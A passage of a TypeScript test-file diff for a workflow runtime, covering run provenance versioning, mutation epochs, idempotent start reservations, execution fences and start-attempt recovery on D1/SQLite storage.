expect(f.reads).toEqual([['d0-run', 'd0-root']]); + expect(f.reads).toEqual([ + method === 'recoverStartAttempt' + ? ['d0-root', 'd0-run'] + : ['d0-run', 'd0-root'], + ]); expect(suspensionDeadlinesOf(first as RunSummary)).toEqual( d0DeadlineRefusal, ); @@ -1226,7 +1256,11 @@ describe('D0 root-local stored summaries', () => { f.reads.length = 0; const second = await read(); expect(second).toEqual(first); - expect(f.reads).toEqual([['d0-run', 'd0-root']]); + expect(f.reads).toEqual([ + method === 'recoverStartAttempt' + ? ['d0-root', 'd0-run'] + : ['d0-run', 'd0-root'], + ]); expect(f.effects).toHaveBeenCalledTimes(2); } finally { f.close(); @@ -1256,13 +1290,13 @@ describe('D0 root-local stored summaries', () => { try { const result = await f.runtime.start('d0-root', d0Start); d0AssertRootSummary(result, f.row()); - expect(f.reads).toEqual([['d0-run', 'd0-root']]); + expect(f.reads).toEqual([['d0-root', 'd0-run']]); expect(f.effects).toHaveBeenCalledTimes(2); expect( f.snapshot().requestContext?.['flowsafe.runProvenance'], ).toMatchObject({ - version: 1, - startToken: 'd0-attempt', + version: 2, + startToken: expect.any(String), resumeCounts: [], }); } finally { @@ -1274,19 +1308,29 @@ describe('D0 root-local stored summaries', () => { it('D0 projects lifecycle completion from one root read', async () => { const f = d0Fixture(); const flow = d0Collision(f); - const nativeRead = flow.getWorkflowRunById.bind(flow); const windows: unknown[][][] = []; - const spy = vi - .spyOn(flow, 'getWorkflowRunById') - .mockImplementation(async (runId, options) => { - const start = f.reads.length; - const result = await nativeRead(runId, options); - if (options?.fields?.includes('requestContext')) - windows.push(f.reads.slice(start)); - return result; - }); + let spy: { mockRestore(): void } | undefined; try { await f.runtime.start('d0-root', d0Start); + const domain = (await flow.mastra + ?.getStorage() + ?.getStore('workflows')) as FencedWorkflowsStorageD1; + const native = domain[FENCED_WORKFLOW_STORAGE]; + assert(native); + const capability = { ...native }; + Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, { + value: capability, + configurable: true, + }); + const nativeRead = capability.readSnapshot; + spy = vi + .spyOn(capability, 'readSnapshot') + .mockImplementation(async (address) => { + const start = f.reads.length; + const selected = await nativeRead(address); + windows.push(f.reads.slice(start)); + return selected; + }); const parent = f.row(); const principal = { kind: 'human', id: 'owner' } as const; const missed = await f.runtime.timeOut( @@ -1338,11 +1382,11 @@ describe('D0 root-local stored summaries', () => { ), ).resolves.toEqual(completed); expect(windows).toEqual( - Array.from({ length: 5 }, () => [['d0-run', 'd0-root']]), + Array.from({ length: 5 }, () => [['d0-root', 'd0-run']]), ); expect(f.effects).toHaveBeenCalledTimes(2); } finally { - spy.mockRestore(); + spy?.mockRestore(); f.close(); } }); @@ -1404,8 +1448,8 @@ describe('D0 root-local stored summaries', () => { expect( f.snapshot().requestContext?.['flowsafe.runProvenance'], ).toMatchObject({ - version: 1, - startToken: 'd0-attempt', + version: 2, + startToken: expect.any(String), requestedBy: 'reviewer', requestedByKind: 'human', resumeCounts: [['nested.approval', 1]], @@ -1562,13 +1606,29 @@ describe('D0 summary compatibility', () => { f.runtime.authoritativeStatus('d0-root', 'absent'), ).resolves.toBeNull(); await expect( - f.runtime.recoverStartAttempt('d0-root', 'absent', 'd0-attempt'), + f.runtime.recoverStartAttempt( + { + tablePrefix: '', + workflowId: 'd0-root', + runId: 'absent', + startToken: 'absent', + }, + { attemptToken: 'd0-attempt', isOwnerQuiescent: () => true }, + ), ).resolves.toBeNull(); await f.runtime.start('d0-root', d0Start); const before = f.row(); await expect( - f.runtime.recoverStartAttempt('d0-root', 'd0-run', 'wrong'), - ).rejects.toThrow('snapshot belongs to another start attempt'); + f.runtime.recoverStartAttempt( + { + tablePrefix: '', + workflowId: 'd0-root', + runId: 'd0-run', + startToken: 'wrong', + }, + { attemptToken: 'd0-attempt', isOwnerQuiescent: () => true }, + ), + ).rejects.toThrow('run start recovery is unresolved'); expect(f.row()).toEqual(before); expect(f.effects).toHaveBeenCalledTimes(2); } finally { @@ -1618,8 +1678,16 @@ describe('D0 summary compatibility', () => { runtime.authoritativeStatus('d0-fallback', started.runId), ).rejects.toBeInstanceOf(RunStateUnreadableError); await expect( - runtime.recoverStartAttempt('d0-fallback', started.runId, 'valid'), - ).rejects.toBeInstanceOf(RunStateUnreadableError); + runtime.recoverStartAttempt( + { + tablePrefix: '', + workflowId: 'd0-fallback', + runId: started.runId, + startToken: 'valid', + }, + { attemptToken: 'valid', isOwnerQuiescent: () => true }, + ), + ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError); expect(remove).not.toHaveBeenCalled(); } finally { restore(); @@ -1844,12 +1912,7 @@ function cOptions(runId = 'c-run'): StartRunOptions { owner: { kind: 'human', id: 'operator-1' }, target: { kind: 'workflow', id: 'c-workflow' }, }, - agentStart: { threaded: false }, onPreparedStartIdentity: vi.fn(), - runOwnerGuard: { - owner: { kind: 'service', id: 'resource-owner' }, - reservationToken: 'reservation-original', - }, }; } @@ -2058,6 +2121,7 @@ describe('C economic format safety', () => { ( await f.runtime.start(workflow.id, { runId: 'resume-run', + mutationEpoch: 2, inputData: { value: 'original' }, }) ).status, @@ -2112,7 +2176,7 @@ describe('C Runtime capture', () => { (['default', 'background'] as const).flatMap((domain) => [undefined, 1, 2, 3].map((epoch) => ({ domain, epoch })), ), - )('C does not enforce active mutation epoch at Runtime start ($domain, $epoch)', async ({ + )('C enforces active mutation epoch at Runtime start ($domain, $epoch)', async ({ domain, epoch, }) => { @@ -2131,6 +2195,18 @@ describe('C Runtime capture', () => { if (epoch === undefined) delete (options as { mutationEpoch?: number }).mutationEpoch; else Object.assign(options, { mutationEpoch: epoch }); + if (epoch !== 2) { + await expect(f.runtime.start('c-workflow', options)).rejects.toThrow( + 'mutation epoch does not match', + ); + expect(f.execute).not.toHaveBeenCalled(); + expect(f.counts).toEqual({ + callback: 0, + admission: 0, + terminalization: 0, + }); + return; + } await expect( f.runtime.start('c-workflow', options), ).resolves.toMatchObject({ status: 'success' }); @@ -2139,10 +2215,12 @@ describe('C Runtime capture', () => { runId, }); expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({ - version: 1, + version: 2, requestedBy: 'operator-1', requestedByKind: 'human', - startToken: 'attempt-original', + startToken: expect.any(String), + mutationEpoch: 2, + startIdentity: cOptions().startIdentity, attemptToken: 'attempt-original', resumeCounts: [], }); @@ -2158,8 +2236,8 @@ describe('C Runtime capture', () => { expect(snapshot?.requestContext).not.toHaveProperty(key); expect(f.execute).toHaveBeenCalledOnce(); expect(f.counts).toEqual({ - callback: 0, - admission: 0, + callback: 1, + admission: 1, terminalization: 0, }); } finally { @@ -2168,12 +2246,12 @@ describe('C Runtime capture', () => { }); for (const [title, counter] of [ + ['C invokes preparation only after provider success', 'callback'], + ['C admits each prepared start through the owned capability', 'admission'], [ - 'C never invokes the prepared callback in normal failure or recovery paths', - 'callback', + 'C keeps terminalization exclusively in owning recovery', + 'terminalization', ], - ['C never automatically admits through the owned capability', 'admission'], - ['C never automatically terminalizes initial admission', 'terminalization'], ] as const) { it.each([ 'default', @@ -2186,6 +2264,7 @@ describe('C Runtime capture', () => { return {}; }); try { + let admitted = 0; for (const phase of [ 'normal', 'failure', @@ -2225,10 +2304,13 @@ describe('C Runtime capture', () => { else outcome = await pending; } finally { restore(); - expect(f.counts[counter]).toBe(0); + if (phase !== 'failure') admitted++; + expect(f.counts[counter]).toBe( + counter === 'terminalization' ? 0 : admitted, + ); expect(f.counts).toEqual({ - callback: 0, - admission: 0, + callback: admitted, + admission: admitted, terminalization: 0, }); } @@ -2244,10 +2326,12 @@ describe('C Runtime capture', () => { expect( snapshot?.requestContext?.['flowsafe.runProvenance'], ).toEqual({ - version: 1, + version: 2, requestedBy: 'operator-1', requestedByKind: 'human', - startToken: 'attempt-original', + startToken: expect.any(String), + mutationEpoch: 2, + startIdentity: cOptions().startIdentity, attemptToken: 'attempt-original', resumeCounts: [], }); @@ -2614,6 +2698,7 @@ describe('C Runtime capture', () => { ( await f.runtime.start('c-workflow', { runId: 'unattributed', + mutationEpoch: 2, inputData: { value: 'plain' }, }) ).status, @@ -3163,7 +3248,7 @@ describe('Runtime checked durable counters', () => { parseRunLifecycle(state.requestContext['flowsafe.runLifecycle']) ?.revision, ).toBe(MAX); - expect(state.requestContext['flowsafe.runProvenance'].version).toBe(1); + expect(state.requestContext['flowsafe.runProvenance'].version).toBe(2); await expect( h.makeRuntime().authoritativeStatus('counter', 'counter-run'), ).resolves.toHaveProperty('runId', 'counter-run'); @@ -3375,8 +3460,19 @@ describe('RunnerRuntime', () => { const { runtime } = buildRuntime(new InMemoryStore()); await expect( - runtime.recoverStartAttempt('echo', 'run-1', 123 as unknown as string), - ).rejects.toThrow('attemptToken is malformed'); + runtime.recoverStartAttempt( + { + tablePrefix: '', + workflowId: 'echo', + runId: 'run-1', + startToken: 'S', + }, + { + attemptToken: 123 as unknown as string, + isOwnerQuiescent: () => true, + }, + ), + ).rejects.toThrow('start recovery authority is malformed'); }); it('runs a workflow to suspension and resumes it to success', async () => { @@ -6120,7 +6216,7 @@ describe('RunnerRuntime snapshot provenance durability', () => { await expect( buildDurable(storage).status('durable-gate', started.runId), - ).rejects.toThrow('stored run provenance is malformed'); + ).rejects.toThrow('run provenance is not readable'); }); it('reads legacy id-only provenance but requires a new complete pair before resume writes', async () => { @@ -6145,6 +6241,7 @@ describe('RunnerRuntime snapshot provenance durability', () => { unknown >), }; + legacyProvenance.version = 1; delete legacyProvenance.requestedByKind; await workflows.persistWorkflowSnapshot({ workflowName: 'durable-gate', @@ -6548,12 +6645,12 @@ describe('per-suspension deadline contract', () => { inputData: {}, }); - expect(started.suspended).toEqual([['nested', 'approval']]); + expect(started.suspended).toEqual([['nested']]); expect(suspensionDeadlinesOf(started)).toEqual({ entries: [], rejected: [ { - step: 'nested.approval', + step: 'nested', reason: 'nested suspension paths are not supported', }, ], @@ -6723,3 +6820,2695 @@ describe('per-suspension deadline contract', () => { } }); }); + +async function d3RuntimeFixture( + mode: 'fenced' | 'prefixed' | 'custom' = 'fenced', + provider?: RequestContextProvider, +) { + const sql = openSqlite() as ReturnType & { close(): void }; + const binding = sqliteUnitDatabase(sql) as D1DatabaseBinding; + const storage = + mode === 'custom' + ? new InMemoryStore() + : createD1Storage({ binding, tablePrefix: 'd3_' }); + await storage.init(); + const fence = new ExecutionFenceStore(binding as ExecutionFenceDatabase); + await fence.seed('open'); + const reservations = new StartIdempotencyStore( + binding as ExecutionFenceDatabase, + ); + const app = init( + { storage }, + { + executionFence: mode === 'fenced' ? fence : 'none', + startIdempotency: reservations, + requestContextForRun: provider, + }, + ); + const effects = vi.fn(); + const schema = z.looseObject({}); + const workflow = app + .createWorkflow({ + id: 'd3-workflow', + inputSchema: schema, + outputSchema: schema, + }) + .then( + app.createStep({ + id: 'gate', + inputSchema: schema, + outputSchema: schema, + resumeSchema: schema, + execute: async ({ inputData, resumeData, suspend }) => { + effects(); + return inputData.suspend && !resumeData + ? suspend({ waiting: true }) + : { done: true }; + }, + }), + ) + .commit(); + await app.runtime.status(workflow.id, 'initialize'); + const workflows = (await storage.getStore( + 'workflows', + )) as FencedWorkflowsStorageD1; + const native = workflows[FENCED_WORKFLOW_STORAGE]; + const capability: FencedWorkflowAdmissionCapability | undefined = + mode === 'custom' || !native ? undefined : { ...native }; + if (capability) + Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, { + value: capability, + writable: true, + configurable: true, + }); + const options = (runId = 'd3-run'): StartRunOptions => ({ + runId, + inputData: {}, + attemptToken: 'H', + requestedBy: 'owner', + requestedByKind: 'human', + }); + const claim = async (runId = 'd3-run', key = 'd3-key') => { + const reserved = await reservations.reserve({ + key, + owner: { kind: 'human', id: 'owner' }, + targetKind: 'workflow', + targetId: workflow.id, + mintRunId: () => runId, + }); + const claimed = await reservations.claimReservation( + reserved.reservation as import('./start-idempotency.js').StartReservationReading, + ); + assert(claimed); + return claimed; + }; + const row = (runId = 'd3-run') => + workflows.loadWorkflowSnapshot({ workflowName: workflow.id, runId }); + return { + ...app, + sql, + storage, + fence, + reservations, + workflow, + workflows, + capability, + effects, + options, + claim, + row, + close: () => sql.close(), + }; +} + +describe('FS8 D3 Runtime activation', () => { + it('R01 independently mints S when H repeats and retains immutable owner and epoch on resume', async () => { + const f = await d3RuntimeFixture('fenced', () => ({ + 'flowsafe.runProvenance': { version: 2, startToken: 'forged' }, + })); + try { + await f.runtime.start(f.workflow.id, { + ...f.options(), + inputData: { suspend: true }, + mutationEpoch: 0, + }); + const first = await f.runtime.authoritativeStartState( + f.workflow.id, + 'd3-run', + ); + assert(first); + await f.runtime.start(f.workflow.id, f.options('second')); + const second = await f.runtime.authoritativeStartState( + f.workflow.id, + 'second', + ); + expect(second?.execution.startToken).not.toBe(first.execution.startToken); + expect(first.execution.startToken).not.toBe('H'); + await expect( + f.runtime.resume(f.workflow.id, 'd3-run', { + resumeData: { go: true }, + requestedBy: 'reviewer', + requestedByKind: 'service', + }), + ).resolves.toMatchObject({ status: 'success', requestedBy: 'reviewer' }); + const resumed = await f.runtime.authoritativeStartState( + f.workflow.id, + 'd3-run', + ); + expect(resumed?.provenance).toMatchObject({ + version: 2, + startToken: first.execution.startToken, + mutationEpoch: 0, + startIdentity: { owner: { kind: 'human', id: 'owner' } }, + resumeCounts: [['gate', 1]], + }); + expect(resumed?.provenance.attemptToken).not.toBe('H'); + expect(f.effects).toHaveBeenCalledTimes(3); + } finally { + f.close(); + } + }); + + it.each([ + 'prefixed', + 'custom', + ] as const)('R05 binds the original claim before ordinary create with the actual %s namespace', async (mode) => { + const f = await d3RuntimeFixture(mode); + try { + const claim = await f.claim(); + const create = f.workflow.createRun.bind(f.workflow); + let beforeCreate: unknown; + vi.spyOn(f.workflow, 'createRun').mockImplementation(async (...args) => { + beforeCreate = await f.reservations.readForAdmission(claim.key); + return create(...args); + }); + await expect( + f.runtime.start(f.workflow.id, { + ...f.options(), + startReservation: claim, + idempotencyKey: claim.key, + }), + ).resolves.toMatchObject({ status: 'success' }); + expect(beforeCreate).toMatchObject({ + binding: { + kind: 'bound', + execution: { tablePrefix: mode === 'custom' ? null : 'd3_' }, + }, + }); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + 'terminal', + ); + expect(f.effects).toHaveBeenCalledOnce(); + } finally { + f.close(); + } + }); + + it.each([ + 'missing', + 'foreign', + ] as const)('R03 requires its positive witness before engine entry: %s', async (mode) => { + const f = await d3RuntimeFixture(); + assert(f.capability); + const original = f.capability.withInitialAdmission; + let prepared: D1RunExecutionIdentity | undefined; + try { + f.capability.withInitialAdmission = async (input, create) => { + const result = await original(input, create); + return mode === 'missing' + ? ({ ...result, witness: undefined } as never) + : { + ...result, + witness: { + ...result.witness, + execution: { + ...result.witness.execution, + startToken: 'foreign', + }, + }, + }; + }; + const claim = await f.claim(); + const outcome = await f.runtime + .start(f.workflow.id, { + ...f.options(), + startReservation: claim, + idempotencyKey: claim.key, + onPreparedStartIdentity: (identity) => { + prepared = normalizeD1RunExecutionIdentity(identity); + }, + }) + .catch((error) => error); + expect((await f.row())?.status).toBe('pending'); + expect( + (await f.reservations.readForAdmission(claim.key))?.binding, + ).toMatchObject({ kind: 'bound', execution: prepared }); + expect(f.effects).not.toHaveBeenCalled(); + expect(outcome).toBeInstanceOf(RunStateUnreadableError); + expect(f.workflow.runs.has('d3-run')).toBe(true); + } finally { + f.close(); + } + }); + + it('R03 clears only its captured new cache entry after a definitive same-S refusal', async () => { + const f = await d3RuntimeFixture(); + try { + const claim = await f.claim(); + const result = await f.runtime + .start(f.workflow.id, { + ...f.options(), + startReservation: claim, + idempotencyKey: claim.key, + onPreparedStartIdentity: async () => { + await f.fence.transition({ expected: 'open', next: 'draining' }); + }, + }) + .catch((error) => error); + expect(await f.row()).toBeNull(); + expect(f.workflow.runs.has('d3-run')).toBe(false); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + 'reserved', + ); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(Error); + } finally { + f.close(); + } + }); + + it.each([ + 'provider', + 'prepared', + 'engine', + 'terminal', + 'terminal-repair', + ] as const)('R04 retains its active frame during the %s wait', async (phase) => { + const entered = cDeferred(), + release = cDeferred(); + const f = await d3RuntimeFixture( + 'fenced', + phase === 'provider' + ? async () => { + entered.resolve(); + await release.promise; + return {}; + } + : undefined, + ); + let waiting: Promise | undefined; + try { + if (phase === 'engine') f.effects.mockImplementationOnce(async () => {}); + const create = f.workflow.createRun.bind(f.workflow); + if (phase === 'engine') + vi.spyOn(f.workflow, 'createRun').mockImplementation( + async (...args) => { + const run = await create(...args); + const start = run.start.bind(run); + vi.spyOn(run, 'start').mockImplementation(async (...input) => { + entered.resolve(); + await release.promise; + return start(...input); + }); + return run; + }, + ); + if (phase === 'terminal-repair') + f.workflow.options.shouldPersistSnapshot = ({ workflowStatus }) => + workflowStatus === 'pending'; + if (phase === 'terminal' || phase === 'terminal-repair') { + const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows); + vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockImplementation( + async (input) => { + if (input.snapshot.status === 'success') { + entered.resolve(); + await release.promise; + } + await persist(input); + }, + ); + } + waiting = f.runtime.start(f.workflow.id, { + ...f.options(), + onPreparedStartIdentity: + phase === 'prepared' + ? async () => { + entered.resolve(); + await release.promise; + } + : undefined, + }); + await entered.promise; + expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(true); + release.resolve(); + await expect(waiting).resolves.toMatchObject({ status: 'success' }); + expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(false); + } finally { + release.resolve(); + await waiting?.catch(() => undefined); + f.close(); + } + }); + + it.each([ + 'preflight', + 'callback', + 'unknown-create', + ] as const)('R06 releases only local preflight with the original claim: %s', async (phase) => { + const f = await d3RuntimeFixture( + phase === 'unknown-create' ? 'prefixed' : 'fenced', + ); + try { + const claim = await f.claim(); + if (phase === 'preflight') + await f.fence.transition({ expected: 'open', next: 'draining' }); + if (phase === 'unknown-create') + vi.spyOn(f.workflow, 'createRun').mockRejectedValue( + new Error('unknown persistence'), + ); + const result = await f.runtime + .start(f.workflow.id, { + ...f.options(), + startReservation: claim, + idempotencyKey: claim.key, + onPreparedStartIdentity: + phase === 'callback' + ? () => { + throw { status: 503, reason: { code: 'RUN_START_PENDING' } }; + } + : undefined, + }) + .catch((error) => error); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + phase === 'preflight' ? 'reserved' : 'started', + ); + expect( + (await f.reservations.readForAdmission(claim.key))?.binding.kind, + ).toBe(phase === 'unknown-create' ? 'bound' : 'unbound'); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeDefined(); + } finally { + f.close(); + } + }); + + it.each([ + 'S2', + 'v1', + 'tokenless', + 'pending', + ] as const)('R07 does not recover a replacement %s after a lost engine result with repeated H', async (replacement) => { + const f = await d3RuntimeFixture(); + const fault = new Error('lost original result'); + try { + const create = f.workflow.createRun.bind(f.workflow); + vi.spyOn(f.workflow, 'createRun').mockImplementation(async (...args) => { + const run = await create(...args), + start = run.start.bind(run); + vi.spyOn(run, 'start').mockImplementation(async (...input) => { + await start(...input); + const snapshot = await f.row(); + assert(snapshot); + const provenance = + snapshot.requestContext?.['flowsafe.runProvenance']; + assert(provenance); + if (replacement === 'S2') provenance.startToken = 'S2'; + if (replacement === 'v1') provenance.version = 1; + if (replacement === 'tokenless') + delete snapshot.requestContext?.['flowsafe.runProvenance']; + if (replacement === 'pending') snapshot.status = 'pending'; + await f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-run', + snapshot, + }); + throw fault; + }); + return run; + }); + const result = await f.runtime + .start(f.workflow.id, f.options()) + .catch((error) => error); + const row = await f.row(); + expect(row?.status).toBe( + replacement === 'pending' ? 'pending' : 'success', + ); + if (replacement === 'S2') + expect(row?.requestContext?.['flowsafe.runProvenance'].startToken).toBe( + 'S2', + ); + expect(f.effects).toHaveBeenCalledOnce(); + expect(result).toBe(fault); + } finally { + f.close(); + } + }); + + it.each([ + false, + undefined, + 1, + 'yes', + ])('R08 requires awaited literal true owning quiescence: %s', async (quiescent) => { + const f = await d3RuntimeFixture(); + try { + await f.runtime.start(f.workflow.id, f.options()); + const state = await f.runtime.authoritativeStartState( + f.workflow.id, + 'd3-run', + ); + assert(state?.storage === 'd1'); + const before = await f.row(); + const result = await f.runtime + .recoverStartAttempt(state.execution, { + attemptToken: 'H', + isOwnerQuiescent: async () => quiescent as boolean, + }) + .catch((error) => error); + expect(await f.row()).toEqual(before); + expect(f.effects).toHaveBeenCalledOnce(); + expect(result).toBeInstanceOf(ExecutionFenceUnreadableError); + } finally { + f.close(); + } + }); + + it('R08 recovers a progressed same-S resume with its new leg H', async () => { + const f = await d3RuntimeFixture(); + try { + await f.runtime.start(f.workflow.id, { + ...f.options(), + inputData: { suspend: true }, + }); + const initial = await f.runtime.authoritativeStartState( + f.workflow.id, + 'd3-run', + ); + assert(initial?.storage === 'd1'); + await f.runtime.resume(f.workflow.id, 'd3-run', { + resumeData: { go: true }, + }); + await expect( + f.runtime.recoverStartAttempt(initial.execution, { + attemptToken: 'H', + isOwnerQuiescent: async () => true, + }), + ).resolves.toMatchObject({ + kind: 'ordinary', + summary: { status: 'success' }, + }); + expect(f.effects).toHaveBeenCalledTimes(2); + } finally { + f.close(); + } + }); + + it.each([ + 'fenced', + 'prefixed', + 'custom', + ] as const)('R13 rejects normal start pending from captured %s storage before settlement', async (mode) => { + const f = await d3RuntimeFixture(mode); + let prepared: D1RunExecutionIdentity | undefined; + try { + const claim = await f.claim(); + const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows); + vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockImplementation( + async (input) => { + if (input.snapshot.status === 'pending') return persist(input); + const pending = { ...input.snapshot, status: 'pending' as const }; + return persist({ ...input, snapshot: pending }); + }, + ); + const result = await f.runtime + .start(f.workflow.id, { + ...f.options(), + inputData: { suspend: true }, + startReservation: claim, + idempotencyKey: claim.key, + onPreparedStartIdentity: (identity) => { + if (identity.tablePrefix !== null) + prepared = normalizeD1RunExecutionIdentity(identity); + }, + }) + .catch((error) => error); + expect((await f.row())?.status).toBe('pending'); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + 'started', + ); + expect(f.effects).toHaveBeenCalledOnce(); + expect(result).toBeInstanceOf(RunStartPendingError); + expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(false); + if (prepared) + expect( + (await f.reservations.readForAdmission(claim.key))?.binding, + ).toMatchObject({ execution: prepared }); + } finally { + f.close(); + } + }); + + it('R13 rejects normal resume pending even when terminal repair acknowledges the write', async () => { + const f = await d3RuntimeFixture(); + try { + await f.runtime.start(f.workflow.id, { + ...f.options(), + inputData: { suspend: true }, + }); + const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows); + vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockImplementation( + (input) => + persist({ + ...input, + snapshot: { ...input.snapshot, status: 'pending' as const }, + }), + ); + const result = await f.runtime + .resume(f.workflow.id, 'd3-run', { resumeData: { go: true } }) + .catch((error) => error); + expect((await f.row())?.status).toBe('pending'); + expect(f.effects).toHaveBeenCalledTimes(2); + expect(result).toBeInstanceOf(RunStartPendingError); + } finally { + f.close(); + } + }); +}); + +async function d3PreparedPending( + f: Awaited>, +) { + assert(f.capability); + const admit = f.capability.withInitialAdmission; + let execution: D1RunExecutionIdentity | undefined; + const claim = await f.claim(); + f.capability.withInitialAdmission = async (input, create) => { + const result = await admit(input, create); + return { ...result, witness: undefined } as never; + }; + try { + await expect( + f.runtime.start(f.workflow.id, { + ...f.options(), + startReservation: claim, + idempotencyKey: claim.key, + onPreparedStartIdentity: (value) => { + execution = normalizeD1RunExecutionIdentity(value); + }, + }), + ).rejects.toBeInstanceOf(RunStateUnreadableError); + assert(execution); + return { execution, claim }; + } finally { + f.capability.withInitialAdmission = admit; + } +} + +describe('FS8 D3 Runtime activation', () => { + it('R02 captures the actual alternate prefixed domain and method receivers through preparation', async () => { + const nominal = await d3RuntimeFixture('prefixed'), + actual = await d3RuntimeFixture('prefixed'); + const entered = cDeferred(), + release = cDeferred(); + let pending: Promise | undefined; + try { + vi.spyOn(nominal.workflow, 'mastra', 'get').mockReturnValue( + new Mastra({ storage: actual.storage, logger: false }), + ); + // A participating reservation store must match the selected D1 binding. + const refused = await nominal.runtime + .start(nominal.workflow.id, nominal.options()) + .catch((error) => error); + expect(await actual.row()).toBeNull(); + expect(await nominal.row()).toBeNull(); + expect(nominal.effects).not.toHaveBeenCalled(); + expect(refused).toBeInstanceOf(Error); + const standalone = init( + { storage: nominal.storage }, + { executionFence: 'none', startIdempotency: 'none' }, + ).runtime; + standalone.register(nominal.workflow); + await standalone.status(nominal.workflow.id, 'initialize-actual'); + nominal.workflow.__registerMastra( + new Mastra({ storage: actual.storage, logger: false }), + ); + const source = actual.capability; + assert(source); + const receivers: unknown[] = []; + const read = source.readSnapshot; + source.readSnapshot = async function (address) { + receivers.push(this); + return read.call(this, address); + }; + pending = standalone.start(nominal.workflow.id, { + ...nominal.options(), + onPreparedStartIdentity: async (identity) => { + expect(identity.tablePrefix).toBe('d3_'); + entered.resolve(); + await release.promise; + }, + }); + await entered.promise; + const late = vi + .fn() + .mockRejectedValue(new Error('late replacement read')); + source.readSnapshot = late; + release.resolve(); + await expect(pending).resolves.toMatchObject({ status: 'success' }); + expect(await nominal.row()).toBeNull(); + expect((await actual.row())?.status).toBe('success'); + expect(late).not.toHaveBeenCalled(); + expect(receivers).toEqual([actual.capability]); + } finally { + release.resolve(); + await pending?.catch(() => undefined); + nominal.close(); + actual.close(); + } + }); + + it('R08 terminalizes the original selected pending bytes and returns B2 S1 after a later S2 write', async () => { + const f = await d3RuntimeFixture(); + try { + const { execution, claim } = await d3PreparedPending(f); + assert(f.capability); + const original = f.capability.terminalizeInitialAdmission; + const read = vi.spyOn(f.capability, 'readSnapshot'); + f.capability.terminalizeInitialAdmission = async (input) => { + const outcome = await original(input); + if (outcome.kind !== 'conflict') { + const later = JSON.parse(outcome.row.snapshot); + later.requestContext['flowsafe.runProvenance'].startToken = 'S2'; + later.result = { foreign: true }; + await f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-run', + snapshot: later, + }); + } + return outcome; + }; + const result = await f.runtime + .recoverStartAttempt(execution, { + attemptToken: 'H', + isOwnerQuiescent: async () => true, + startReservation: claim, + }) + .catch((error) => error); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'].startToken, + ).toBe('S2'); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + 'terminal', + ); + expect(f.effects).not.toHaveBeenCalled(); + expect(read).toHaveBeenCalledOnce(); + expect(result).toMatchObject({ + kind: 'ordinary', + summary: { status: 'failed' }, + }); + } finally { + f.close(); + } + }); + + it('R08 preserves the captured source across owning quiescence and read replacement', async () => { + const f = await d3RuntimeFixture(), + other = await d3RuntimeFixture(); + try { + const { execution, claim } = await d3PreparedPending(f); + assert(f.capability); + assert(other.capability); + const foreign = vi.spyOn(other.capability, 'terminalizeInitialAdmission'); + const own = vi.spyOn(f.capability, 'terminalizeInitialAdmission'); + const result = await f.runtime + .recoverStartAttempt(execution, { + attemptToken: 'H', + startReservation: claim, + isOwnerQuiescent: async () => { + Object.defineProperty(f.workflows, FENCED_WORKFLOW_STORAGE, { + value: other.capability, + }); + return true; + }, + }) + .catch((error) => error); + expect((await f.row())?.status).toBe('failed'); + expect(await other.row()).toBeNull(); + expect(f.effects).not.toHaveBeenCalled(); + expect(own).toHaveBeenCalledOnce(); + expect(foreign).not.toHaveBeenCalled(); + expect(result).toMatchObject({ + kind: 'ordinary', + summary: { status: 'failed' }, + }); + } finally { + f.close(); + other.close(); + } + }); + + it.each([ + 'unmarked', + 'resumed', + 'different-H', + 'conflict', + ] as const)('R10 keeps uncertain initial %s nonreplayable', async (mode) => { + const f = await d3RuntimeFixture(); + try { + const { execution, claim } = await d3PreparedPending(f); + assert(f.capability); + const snapshot = await f.row(); + assert(snapshot); + const provenance = snapshot.requestContext?.['flowsafe.runProvenance']; + assert(provenance); + if (mode === 'unmarked') delete provenance.initialAdmission; + if (mode === 'resumed') provenance.resumeCounts = [['gate', 1]]; + if (mode === 'different-H') provenance.attemptToken = 'other'; + await f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-run', + snapshot, + }); + if (mode === 'conflict') + f.capability.terminalizeInitialAdmission = async () => ({ + kind: 'conflict', + }); + const before = await f.row(); + const result = await f.runtime + .recoverStartAttempt(execution, { + attemptToken: 'H', + startReservation: claim, + isOwnerQuiescent: () => true, + }) + .catch((error) => error); + expect(await f.row()).toEqual(before); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + 'started', + ); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf( + mode === 'conflict' + ? ExecutionFenceUnreadableError + : RunStartPendingError, + ); + } finally { + f.close(); + } + }); + + it('R09 blocks keyed terminal recovery when exact settlement fails and retries that settlement', async () => { + const f = await d3RuntimeFixture(); + try { + const { execution, claim } = await d3PreparedPending(f); + const settle = vi + .spyOn(f.reservations, 'settleExecution') + .mockRejectedValueOnce(new Error('settle unavailable')); + const refused = await f.runtime + .recoverStartAttempt(execution, { + attemptToken: 'H', + startReservation: claim, + isOwnerQuiescent: () => true, + }) + .catch((error) => error); + expect((await f.row())?.status).toBe('failed'); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + 'started', + ); + expect(f.effects).not.toHaveBeenCalled(); + 